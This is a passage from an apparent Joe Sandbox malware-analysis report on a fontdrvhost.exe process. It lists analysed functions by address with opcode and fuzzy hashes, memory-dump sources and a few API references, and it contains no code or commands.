Instruction ID: 1d057459066e463277ea77f888c11b70766718b1bed85adc0c55bb39badec94e
Opcode Fuzzy Hash: 59a81896139ad43bd544ade613f59ae588c37099ed38480218a79a9b7930bab7
Instruction Fuzzy Hash: 1331B670A0491C8FCFA8DB18C854BE9B7F1EB68315F1041EAD10EE32A5DA31AE85CF45

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B9F11A2 Relevance: .1, Instructions: 74COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1786200291.00007FFD9B9F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B9F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffd9b9f0000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 89c6d9eab7bbc896e22dd2571b0b627c66fba6823d6071a69e7f998d3628667c
Instruction ID: ce70bbca6ecbbbf7971dad198337101258809807fecff57ba30377ca916b758a
Opcode Fuzzy Hash: 89c6d9eab7bbc896e22dd2571b0b627c66fba6823d6071a69e7f998d3628667c
Instruction Fuzzy Hash: F4212A30B1891E9FEB94EFA8C8949ADBBF1FF68310B11457AD419D32A1DB34A941CB40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9C0D95C1 Relevance: .1, Instructions: 65COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1848141152.00007FFD9C0D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C0D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffd9c0d0000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b0012a382086178f3493de69f6542f28661131eccfde9ffe59b2f120a4d927c0
Instruction ID: b5c1f4563d3cba8382dbb581edc442c24fefda3603d17bcbc75568b8e0a6ed7d
Opcode Fuzzy Hash: b0012a382086178f3493de69f6542f28661131eccfde9ffe59b2f120a4d927c0
Instruction Fuzzy Hash: 7A11E012F4D39386FA7926E468314BD2674AF457A0F5903BAF84E830C6FE0D28853392

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B9F0C38 Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1786200291.00007FFD9B9F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B9F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffd9b9f0000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7733f2f6c5f779523dd4d16b23e8e383c3dd7205050683889bc3e77df055de7c
Instruction ID: 15843f623d7fd5c73c94f581ed6aac20d90f9a8e8b5a9e17c2762bd9094347f0
Opcode Fuzzy Hash: 7733f2f6c5f779523dd4d16b23e8e383c3dd7205050683889bc3e77df055de7c
Instruction Fuzzy Hash: 3D114C35B1D64E4AE712EFA4C8202EE7B64EF81330F054877C5919B2E2DA3857098790

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B9F0B7F Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1786200291.00007FFD9B9F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B9F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffd9b9f0000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 37a98bd3055f00c31a4e31e0dc0be2cfd83693e0a35c47f6e54c2191aaab4cc0
Instruction ID: 1300a791a80087d17cf2ae35e7a9a46252d86d72420fc46f3581aaed59c6b999
Opcode Fuzzy Hash: 37a98bd3055f00c31a4e31e0dc0be2cfd83693e0a35c47f6e54c2191aaab4cc0
Instruction Fuzzy Hash: 1F117C71A2864D8FCF44EF28C895AEA77E0FF58318F05016AE84DD3251D730A554CB81

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B9F0C40 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1786200291.00007FFD9B9F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B9F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffd9b9f0000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cfc19ac8a72230b4cd01d2ab7b73dfe46d9e40aecc30a1bfc516a68747601e4e
Instruction ID: 1e93147d3ab5d5069b2a2acc69737fefb1c255a6eed6099858321882de01bba3
Opcode Fuzzy Hash: cfc19ac8a72230b4cd01d2ab7b73dfe46d9e40aecc30a1bfc516a68747601e4e
Instruction Fuzzy Hash: F2012B31B0D68E4AE712EFA4C8202EE7B64EF81320F054577D5519B2E2CA345709C790

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9C0D9542 Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1848141152.00007FFD9C0D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C0D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffd9c0d0000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bc518725d1d808e9689f9482acac8a3fcd16afa6d8c726afaaf40020a09bd645
Instruction ID: 6647327c6521d74613cfff41389b755a44f847942f4ab85da935985ab04b69f4
Opcode Fuzzy Hash: bc518725d1d808e9689f9482acac8a3fcd16afa6d8c726afaaf40020a09bd645
Instruction Fuzzy Hash: 66119534E2891EDFDBA8EB98D4A09ADB7B1FF58344F500679E00EE3295DF3468419B50

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B9F2303 Relevance: .0, Instructions: 48COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1786200291.00007FFD9B9F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B9F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffd9b9f0000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 314f1ac0b346bfa732352059bb14de0d694f24d789853697903efdb36887edf3
Instruction ID: 0a6dab3eb7c05c803750d3aff1e62620a2586a089ecffbc979876acd7aabcf43
Opcode Fuzzy Hash: 314f1ac0b346bfa732352059bb14de0d694f24d789853697903efdb36887edf3
Instruction Fuzzy Hash: F021C470A1A62D8EEB64EF54CC59BA8B7B1EB54315F1042E9D40DA22A1DB342EC4CF40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B9F0845 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1786200291.00007FFD9B9F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B9F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffd9b9f0000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 553313a947f84ee103d180bc82a783c01370319039905ccd2b4a309d66472c54
Instruction ID: 311dbcc977114fc71c7ab2077bc6ae1a30d599f9610e9069a6cf4c36e8bc1b01
Opcode Fuzzy Hash: 553313a947f84ee103d180bc82a783c01370319039905ccd2b4a309d66472c54
Instruction Fuzzy Hash: 02012C3060894D9FDB84EF58D895AEE7BA0FF29301F0101A6F858C3161CA30E5A5CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B9F670C Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1786200291.00007FFD9B9F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B9F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffd9b9f0000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eda37f5a71ef9d6abfb522fdcd4f1be2120cb5ad074b452d1a95ec35805b8fbb
Instruction ID: ad70b7f0453b2c472c38b9f71293bfd0decb606d116b5e38b7e53b4a68d977fe
Opcode Fuzzy Hash: eda37f5a71ef9d6abfb522fdcd4f1be2120cb5ad074b452d1a95ec35805b8fbb
Instruction Fuzzy Hash: 54011730A0556A8EEB64EB18C8587E9B7B1EB44315F1082F5941DA22A9DA742E85CF40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B9F06A5 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1786200291.00007FFD9B9F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B9F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffd9b9f0000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c6c330b346ef2d58b532aa9d458e79c11696b0cd131a1d5015f62c7120a330bc
Instruction ID: 1da46ab1808b1c98a10b486f5b064817a20cacaf2c24a1efa84e131ead561625
Opcode Fuzzy Hash: c6c330b346ef2d58b532aa9d458e79c11696b0cd131a1d5015f62c7120a330bc
Instruction Fuzzy Hash: 4AF03030E1560EAFEB50EFA8D4596ED7BE4FF54315F114537E41CC21A0DA7566908780

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B9F06C8 Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1786200291.00007FFD9B9F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B9F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffd9b9f0000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4d66a6791a6e0518b251df3bcc2ab13295a0f509cc9937d2c9b475ac698c97a5
Instruction ID: f6fcd3822f51caf706fcc5706a46c04c2f8794202a2f82574c8fc5060bfed5ba
Opcode Fuzzy Hash: 4d66a6791a6e0518b251df3bcc2ab13295a0f509cc9937d2c9b475ac698c97a5
Instruction Fuzzy Hash: C1F01230D1564D9FDB90EFA4C4496EA7BE0FF14304F014466E81CD2160DA74A6A0CB80

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B9F0B18 Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1786200291.00007FFD9B9F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B9F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffd9b9f0000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 20ca368dbdebafa6f2847212a4e8fe4ccd20555cba187c5e0699008305c5604e
Instruction ID: 22f83177245e1b8bc77db380529c7760c0575970f6a3946ddc3a1f24b15b04b7
Opcode Fuzzy Hash: 20ca368dbdebafa6f2847212a4e8fe4ccd20555cba187c5e0699008305c5604e
Instruction Fuzzy Hash: 9CF01530509A0ECFDF90EF68C944AAA37A1FF29300F000165F45DC31A4CB70EAA0CB81

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9C0D3DB8 Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1848141152.00007FFD9C0D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C0D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffd9c0d0000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 51656e1e349ffeb4c6151966cb611ee3d4930c60049d44a7b6720c6a7319dba0
Instruction ID: 16a7498743122a857a47258eba75508afe5a92e5f404c02510a09e5076aafcaa
Opcode Fuzzy Hash: 51656e1e349ffeb4c6151966cb611ee3d4930c60049d44a7b6720c6a7319dba0
Instruction Fuzzy Hash: 6FE0C210B0A24722FE3014E24C6D8BF2E39CF937C5F100639F00D1308AFE982803B2A4

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9C0D7635 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1848141152.00007FFD9C0D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C0D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffd9c0d0000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 25412e8a99d30e0f632988ef88b82f8f3fa1083cd54197db5ade967f506e7e87
Instruction ID: b3f9949a69987fb322e98eb811675a2b2da37d9da5e26a438a6d1b20371dbafe
Opcode Fuzzy Hash: 25412e8a99d30e0f632988ef88b82f8f3fa1083cd54197db5ade967f506e7e87
Instruction Fuzzy Hash: 2CE09A3181D38A8BD7619B6888B64EC7B30AF00340F5802EAF90C46186FB246618A642

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00007FFD9C0D6630 Relevance: 11.6, Strings: 9, Instructions: 383COMMON

Download Yara Rule

Strings

^^, xrefs: 00007FFD9C0D66B3
^^, xrefs: 00007FFD9C0D6893
^^, xrefs: 00007FFD9C0D699B
^^, xrefs: 00007FFD9C0D6793
^^, xrefs: 00007FFD9C0D6733
^^, xrefs: 00007FFD9C0D68B3
^^, xrefs: 00007FFD9C0D69DB
^^, xrefs: 00007FFD9C0D69BB
^^, xrefs: 00007FFD9C0D6833

Memory Dump Source

Source File: 00000008.00000002.1848141152.00007FFD9C0D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C0D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffd9c0d0000_fontdrvhost.jbxd

Similarity

API ID:
String ID: ^^$^^$^^$^^$^^$^^$^^$^^$^^
API String ID: 0-4142995909
Opcode ID: cace15e04305a79683012b1c1cf1220d9ebd4702cbd5b97724fc3d84defc1a8e
Instruction ID: 5b4d96e6c7b45b2f628f48de49ef7c47d9bcb9251fe6099d15364e7aee9f3750
Opcode Fuzzy Hash: cace15e04305a79683012b1c1cf1220d9ebd4702cbd5b97724fc3d84defc1a8e
Instruction Fuzzy Hash: F1C16813B0D2A356F71277ACA8F58E66FE09F022A8B1946F7F4DE4D0D3AD0E294D4185

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9C0D6A78 Relevance: 8.9, Strings: 7, Instructions: 175COMMON

Download Yara Rule

Strings

^^, xrefs: 00007FFD9C0D6ABB
^^, xrefs: 00007FFD9C0D6BBB
^^, xrefs: 00007FFD9C0D6ADB
^^, xrefs: 00007FFD9C0D6B9B
^^, xrefs: 00007FFD9C0D6B5B
^^, xrefs: 00007FFD9C0D6A9B
^^, xrefs: 00007FFD9C0D6BDB

Memory Dump Source

Source File: 00000008.00000002.1848141152.00007FFD9C0D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C0D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffd9c0d0000_fontdrvhost.jbxd

Similarity

API ID:
String ID: ^^$^^$^^$^^$^^$^^$^^
API String ID: 0-3751555822
Opcode ID: 8bc28a803eb6cdd4c7b2c049a1173e7b25fa30ac99da2cc4cba8b5e5ed0dc3c8
Instruction ID: 1970be964308de32186457d962ae8a906293591d3ec01484213dbb04b6b5c8f6
Opcode Fuzzy Hash: 8bc28a803eb6cdd4c7b2c049a1173e7b25fa30ac99da2cc4cba8b5e5ed0dc3c8
Instruction Fuzzy Hash: 3B513852B0D2A316F71677BCA8F6CE62FE08F11268B0942F3E4DE490D3AD0F24994585

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9C0D61FC Relevance: 5.2, Strings: 4, Instructions: 217COMMON

Download Yara Rule

Strings

^^, xrefs: 00007FFD9C0D6312
^^, xrefs: 00007FFD9C0D6301
^^, xrefs: 00007FFD9C0D6212
^^, xrefs: 00007FFD9C0D6222

Memory Dump Source

Source File: 00000008.00000002.1848141152.00007FFD9C0D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C0D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffd9c0d0000_fontdrvhost.jbxd

Similarity

API ID:
String ID: ^^$^^$^^$^^
API String ID: 0-2660549292
Opcode ID: d78542ff4fa670b014a32bd94082195b3f9fa796e1e22571a2ae76c6759acc88
Instruction ID: cf0b8fec7d51771eb3b7151afc4012aa5d34bdd0875b2d3fb7e017b68a521f55
Opcode Fuzzy Hash: d78542ff4fa670b014a32bd94082195b3f9fa796e1e22571a2ae76c6759acc88
Instruction Fuzzy Hash: E6617A43B0D7A315F76273BC24B28E56FA08F126A4B0D46F7E5DE490D76D0A284E5285

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: fontdrvhost.exePID: 6648, Parent PID: 1044COMMON

Execution Graph

Execution Coverage:	5.5%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	6
Total number of Limit Nodes:	0

Executed Functions

Function 00007FFD9BA2B7ED Relevance: 2.5, Strings: 1, Instructions: 1252
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

jV_H, xrefs: 00007FFD9BA2B9D4

Memory Dump Source

Source File: 00000009.00000002.1845074702.00007FFD9BA2B000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA2B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ffd9ba2b000_fontdrvhost.jbxd

Similarity

API ID:
String ID: jV_H
API String ID: 0-1489637952
Opcode ID: d288f46504e238a1e393a302cd0698cdc9b2ab7f04c42c04f92a8905205c2778
Instruction ID: 2072bc77053b31bcf0cb3eef97c15a0fea168c6cd5f1e7080c4b15683664611d
Opcode Fuzzy Hash: d288f46504e238a1e393a302cd0698cdc9b2ab7f04c42c04f92a8905205c2778
Instruction Fuzzy Hash: 68B2FB70E09A1D8FDBA8EF58C8A5AA9B7B1FB58300F5041E9D40DD3296DE756E81CF40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BA10DA8 Relevance: .3, Instructions: 297
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000009.00000002.1845074702.00007FFD9BA10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ffd9ba10000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d89593a328486b66078c57e7823f3db8d5030b1894d80d1f51838a9379d96b63
Instruction ID: 4b8b14f1551fe4f535e9d5a101ca9308bce37d6fa560b9650420e3d148cf2952
Opcode Fuzzy Hash: d89593a328486b66078c57e7823f3db8d5030b1894d80d1f51838a9379d96b63
Instruction Fuzzy Hash: 6AA1CE71A0DA8D8FE7A8EB68C8657E97BE1FF55310F0002BAD049D72E6CB792811C714

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BA2C0A8 Relevance: 2.0, Strings: 1, Instructions: 718
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

^V_H, xrefs: 00007FFD9BA2C5CE

Memory Dump Source

Source File: 00000009.00000002.1845074702.00007FFD9BA2B000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA2B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ffd9ba2b000_fontdrvhost.jbxd

Similarity

API ID:
String ID: ^V_H
API String ID: 0-662928822
Opcode ID: 20db5b18fb26e3bc2e394c31b0bcf39591407d23fe9079a041fda2130f7db1d6
Instruction ID: 5df2d6b1043a778f946450668a867e791b5995ae35d7818e2328e78865236dd5
Opcode Fuzzy Hash: 20db5b18fb26e3bc2e394c31b0bcf39591407d23fe9079a041fda2130f7db1d6
Instruction Fuzzy Hash: C9522D71E5A92D8FDBA4EB5888A57E8B7F1FB58300F4401F9D04D93292DA786E81CF41

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BA2201E Relevance: 1.7, APIs: 1, Instructions: 193
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE ref: 00007FFD9BA2215A

Memory Dump Source

Source File: 00000009.00000002.1845074702.00007FFD9BA1F000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA1F000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ffd9ba1f000_fontdrvhost.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 437b0cf27f1402a76d068fb825104d1fb83e819bd73e5a23a2583a8741b64b47
Instruction ID: decd4e8e4958f0e66dfbd15c1a8fd0486b47a055c7627438048a523aaae367dc
Opcode Fuzzy Hash: 437b0cf27f1402a76d068fb825104d1fb83e819bd73e5a23a2583a8741b64b47
Instruction Fuzzy Hash: 3A517D30D0974D8FDB54DFA8C885AEDBBF1FB6A310F10426AD449E7256DB74A885CB80

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BA23A0D Relevance: 1.4, APIs: 1, Instructions: 187
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE ref: 00007FFD9BA23B2F

Memory Dump Source

Source File: 00000009.00000002.1845074702.00007FFD9BA1F000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA1F000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ffd9ba1f000_fontdrvhost.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 4086384b7e09648d90470e67ae09543c18db0fe9f5bc8ada959aaac9b8e4c90c
Instruction ID: d5509000d1ad6838a3a238e64c78fc94df7f9c946bd2553418ff02f5fc5585a2
Opcode Fuzzy Hash: 4086384b7e09648d90470e67ae09543c18db0fe9f5bc8ada959aaac9b8e4c90c
Instruction Fuzzy Hash: F5514D74908A5C8FDF94EF58C885BE9BBF1FB69310F1041AAD04DE3255CB71A9858F40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BA26761 Relevance: 1.3, Strings: 1, Instructions: 44
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

*, xrefs: 00007FFD9BA267B7

Memory Dump Source

Source File: 00000009.00000002.1845074702.00007FFD9BA26000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA26000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ffd9ba26000_fontdrvhost.jbxd

Similarity

API ID:
String ID: *
API String ID: 0-163128923
Opcode ID: 875c773fc31e80eaa2fc80a47191f9681ada53b299b17ddb9c974e275b8731b8
Instruction ID: fb9ea4a3083aaa8c51b1c9cf815025559279275a9cd1c78ba2d3b8bc96e693f2
Opcode Fuzzy Hash: 875c773fc31e80eaa2fc80a47191f9681ada53b299b17ddb9c974e275b8731b8
Instruction Fuzzy Hash: 8311A570E5A51D8FEBB8DB48D8A4BE8B7A1FB58304F1001E9D10ED2295CA786B818B55

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BA2684D Relevance: 1.3, Strings: 1, Instructions: 26
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

*, xrefs: 00007FFD9BA267B7

Memory Dump Source

Source File: 00000009.00000002.1845074702.00007FFD9BA26000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA26000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ffd9ba26000_fontdrvhost.jbxd

Similarity

API ID:
String ID: *
API String ID: 0-163128923
Opcode ID: 9ecdeb18057becfe9f1ec89054307b1c2350af4d17ce54e14a77853ad85f5028
Instruction ID: 670cd8a7d7444da464fb3e5de28c011d638adc880219aa4e689435dcdd04400e
Opcode Fuzzy Hash: 9ecdeb18057becfe9f1ec89054307b1c2350af4d17ce54e14a77853ad85f5028
Instruction Fuzzy Hash: F7F05E71E4941E8FEB3DDF08C8647E8B3A1EF64310F1542F9D10D922A4DB786B858B51

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BA5D26D Relevance: .4, Instructions: 436
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000009.00000002.1845074702.00007FFD9BA5A000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA5A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ffd9ba5a000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ae5cd188c6bf255d33ed579536ccd0eee3b2ccf5ee1ca933e35a4f550512b1c0
Instruction ID: f1d504e216a979ffabec8080d6fbf886b6dd2e2b66de80d8d2eecac4957f64a2
Opcode Fuzzy Hash: ae5cd188c6bf255d33ed579536ccd0eee3b2ccf5ee1ca933e35a4f550512b1c0
Instruction Fuzzy Hash: 56F17171E2965D8FDBA8EB98C4A5BACB7B1FF54300F4541B9D04DD3292CEB46A84CB01

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BA5B8A9 Relevance: .2, Instructions: 160
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000009.00000002.1845074702.00007FFD9BA5A000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA5A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ffd9ba5a000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fe9c590340ad6540c78634df0d1555aca33563381587206efccd6bb2cee4d2ff
Instruction ID: dde895a877d66d1d1a84068f51615e60cac2509a98511d5e7a5dd325a953e785
Opcode Fuzzy Hash: fe9c590340ad6540c78634df0d1555aca33563381587206efccd6bb2cee4d2ff
Instruction Fuzzy Hash: E1516C70E0A64D8FEB69DF94C8A47EC77B1FB58301F5101BAD009D72A5DBB86A85CB40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BA28B09 Relevance: .1, Instructions: 138
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000009.00000002.1845074702.00007FFD9BA28000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA28000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ffd9ba28000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d27b5622238290f82de414551dd3ce0e43f05951a7ad42b9dc8ac687f7f21658
Instruction ID: 37cc76f8f67e9b4998d7278ecc8276da5469c6945bc6a00c3c12513269e74964
Opcode Fuzzy Hash: d27b5622238290f82de414551dd3ce0e43f05951a7ad42b9dc8ac687f7f21658
Instruction Fuzzy Hash: 0C519070A09A4D9FCF84EF58D494AED7BF1FF58315B0501AAE409E7261D774E990CB80

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BA15BE8 Relevance: .1, Instructions: 109COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1845074702.00007FFD9BA10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ffd9ba10000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 76693cc843499dff62b5017cd0e78a36ea2667865f68f9e5256d12c8d45ca85e
Instruction ID: 0015dcbb381fda84d3b28bcfa7c46fc5af2033f5cbe50824ece119b1b77b4da9
Opcode Fuzzy Hash: 76693cc843499dff62b5017cd0e78a36ea2667865f68f9e5256d12c8d45ca85e
Instruction Fuzzy Hash: CD4187B0A0492C8FDBA4DF18C894BE9B7F0EB68305F1041EAD10EE3295DB756AC48F45

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BA68389 Relevance: .1, Instructions: 108COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1845074702.00007FFD9BA5A000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA5A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ffd9ba5a000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0021aa7cbee3fb0d9d03a03f20f1bd0361a3a8f2401bd12223807bb16167c28f
Instruction ID: 9126a1ff75d8f1c3892f89cd9c7b08198a138f49c340b25df246f8b5b22b67bf
Opcode Fuzzy Hash: 0021aa7cbee3fb0d9d03a03f20f1bd0361a3a8f2401bd12223807bb16167c28f
Instruction Fuzzy Hash: 7E419F70A0A64DCFEBA5EB64C4A97A87BB1FF15310F0541B6D40DC32E2DE786A84CB01

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BA32455 Relevance: .1, Instructions: 100COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1845074702.00007FFD9BA2B000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA2B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ffd9ba2b000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6c873852c8cfef55c667f62d94f119e98de557d4a1abfe4185f9f3c2a3d40ec8
Instruction ID: 66478cf962063eeeff441577007afc17ba8758fa8b749d4fedaa206c34de4ab6
Opcode Fuzzy Hash: 6c873852c8cfef55c667f62d94f119e98de557d4a1abfe4185f9f3c2a3d40ec8
Instruction Fuzzy Hash: 4A310832A0965E8FDB55FFACD8E59E97BE0FF11318B0802B7D459CA092DE31A445C740

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BA10C25 Relevance: .1, Instructions: 91COMMON

Download Yara Rule

Memory Dump Source

